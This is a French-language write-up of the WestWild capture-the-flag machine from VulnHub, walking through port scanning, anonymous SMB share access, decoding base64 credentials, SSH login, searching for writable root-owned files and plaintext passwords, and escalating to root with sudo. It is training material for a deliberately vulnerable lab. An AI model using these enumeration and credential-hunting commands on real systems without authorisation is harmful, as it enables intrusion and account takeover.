Accueil Solution du CTF WestWild de VulnHub
Post
Annuler

Solution du CTF WestWild de VulnHub

WestWild est un CTF simple créé par Hashim Alsharef et disponible sur VulnHub depuis juillet 2019.

Surfer

On a ici des ports classiques. Le port 80 a juste un message Follow the wave

1
2
3
4
5
6
7
8
Nmap scan report for 192.168.56.211
Host is up (0.00015s latency).
Not shown: 65531 closed tcp ports (reset)
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http        Apache httpd 2.4.7 ((Ubuntu))
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

Je me dirige donc sur SMB et bingo, il y a un partage nommé wave :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ smbclient -U "" -N -L //192.168.56.211

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        wave            Disk      WaveDoor
        IPC$            IPC       IPC Service (WestWild server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available
$ smbclient -U "" -N //192.168.56.211/wave
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Tue Jul 30 07:18:56 2019
  ..                                  D        0  Fri Aug  2 01:02:20 2019
  FLAG1.txt                           N       93  Tue Jul 30 04:31:05 2019
  message_from_aveng.txt              N      115  Tue Jul 30 07:21:48 2019

                1781464 blocks of size 1024. 270356 blocks available

Le message en question est le suivant :

Dear Wave,

Am Sorry but i was lost my password, and i believe that you can reset it for me. Thank You Aveng

Le flag contient une longue chaine base64 qui s’avère correspondre à des identifiants :

1
2
3
4
$ cat FLAG1.txt | base64 -d
Flag1{Welcome_T0_THE-W3ST-W1LD-B0rder}
user:wavex
password:door+open

Côte ouest

Les identifiants permettent un accès SSH.

En fouillant les fichiers et dossiers appartenant à root et que je peux modifier j’en trouve un nommé après le CTF :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
wavex@WestWild:/$ find / -user root -writable -ls 2> /dev/null | grep -v /dev | grep -v /proc
--- snip ---
  7490    0 -rw-rw-rw-   1 root     root            0 May 21 22:23 /sys/kernel/security/apparmor/.access
 69633    4 drwxrwxrwx   2 root     root         4096 Jul 30  2019 /usr/share/av/westsidesecret
 54395    4 drwx-wx-wt   3 root     root         4096 Jul 30  2019 /var/lib/php5
--- snip ---
wavex@WestWild:/$ ls -al /usr/share/av/westsidesecret
total 12K
drwxrwxrwx 2 root  root  4.0K Jul 30  2019 .
drwxr-xr-x 3 root  root  4.0K Jul 30  2019 ..
-rwxrwxrwx 1 wavex wavex  101 Jul 30  2019 ififoregt.sh
wavex@WestWild:/$ cat /usr/share/av/westsidesecret/ififoregt.sh 
 #!/bin/bash 
 figlet "if i foregt so this my way"
 echo "user:aveng"
 echo "password:kaizen+80"

Les identifiants permettant de se connecter sur le compte aveng et de passer root via sudo, l’utilisateur étant administrateur.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
aveng@WestWild:~$ sudo -l
[sudo] password for aveng: 
Matching Defaults entries for aveng on WestWild:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User aveng may run the following commands on WestWild:
    (ALL : ALL) ALL
aveng@WestWild:~$ sudo su
root@WestWild:/home/aveng# cd /root
root@WestWild:~# ls
FLAG2.txt
root@WestWild:~# cat FLAG2.txt
Flag2{Weeeeeeeeeeeellco0o0om_T0_WestWild}

Great! take a screenshot and Share it with me in twitter @HashimAlshareff

Alternativement on pouvait effectuer une recherche sur le mot password dans tous les fichiers texte du système :

1
2
3
4
5
6
7
8
9
10
11
12
13
wavex@WestWild:~$ grep -l -r --include "*.txt" password / 2> /dev/null 
/usr/share/vim/vim74/doc/version7.txt
/usr/share/vim/vim74/doc/usr_23.txt
/usr/share/vim/vim74/doc/pi_netrw.txt
/usr/share/vim/vim74/doc/netbeans.txt
/usr/share/vim/vim74/doc/version6.txt
/usr/share/vim/vim74/doc/if_cscop.txt
/usr/share/vim/vim74/doc/todo.txt
/usr/share/vim/vim74/doc/os_vms.txt
/usr/share/vim/vim74/doc/starting.txt
/usr/share/doc/openssl/HOWTO/keys.txt
/usr/share/mysql/errmsg-utf8.txt
/home/wavex/wave/message_from_aveng.txt
Cet article est sous licence CC BY 4.0 par l'auteur.